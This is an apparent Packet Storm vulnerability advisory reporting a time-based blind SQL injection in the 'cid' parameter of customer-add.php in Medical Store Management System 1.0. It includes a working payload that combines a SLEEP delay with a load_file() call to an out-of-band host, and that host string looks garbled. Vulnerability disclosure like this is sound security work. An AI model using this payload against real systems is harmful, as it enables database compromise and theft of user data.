Medical Store Management System 1.0 SQL Injection

Medical Store Management System version 1.0 suffers from a remote SQL injection vulnerability.


MD5 | df8f961c3b0d0084e6993f21b9dce139

Download
## Title: Medical Store Management System v1.0 remote SQL-Injections
## Author: nu11secur1ty
## Date: 02.16.2022
## Vendor: https://github.com/abhisheks008
## Software: https://github.com/abhisheks008/Medical-Store-Management-System
## CVE-Medical Store Management System v1.0


## Description:
The `cid` parameter fom customer-add.php app on Medical Store
Management System v1.0 appears to be vulnerable to SQL injection
attacks.
The application took 20034 milliseconds to respond to the request,
compared with 36 milliseconds for the original request, indicating
that the injected SQL command caused a time delay.
The malicious actor can take control of the system administrator
accounts of this system!
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!
Status: CRITICAL


[+] Payloads:

```mysql
---
Parameter: cid (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cid=987101' AND (SELECT 7784 FROM (SELECT(SLEEP(3)))HbQW)
AND 'yDXs'='yDXs&cfname=Safia&clname=Malik&age=22'+(select
load_file('\\\\ej12det210osu6x32wsqrnyu6lce080wrzfr2kq9.https://github.com/abhisheks008/Medical-Store-Management-System\\tah'))+'&sex=Female&phno=9632587415&[email protected]&update=Update
---

```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/abhisheks008/2022/Medical-Store-Management-System)

## Proof and Exploit:
[href](https://streamable.com/p97tbi)


Source: packetstormsecurity.com
Related Posts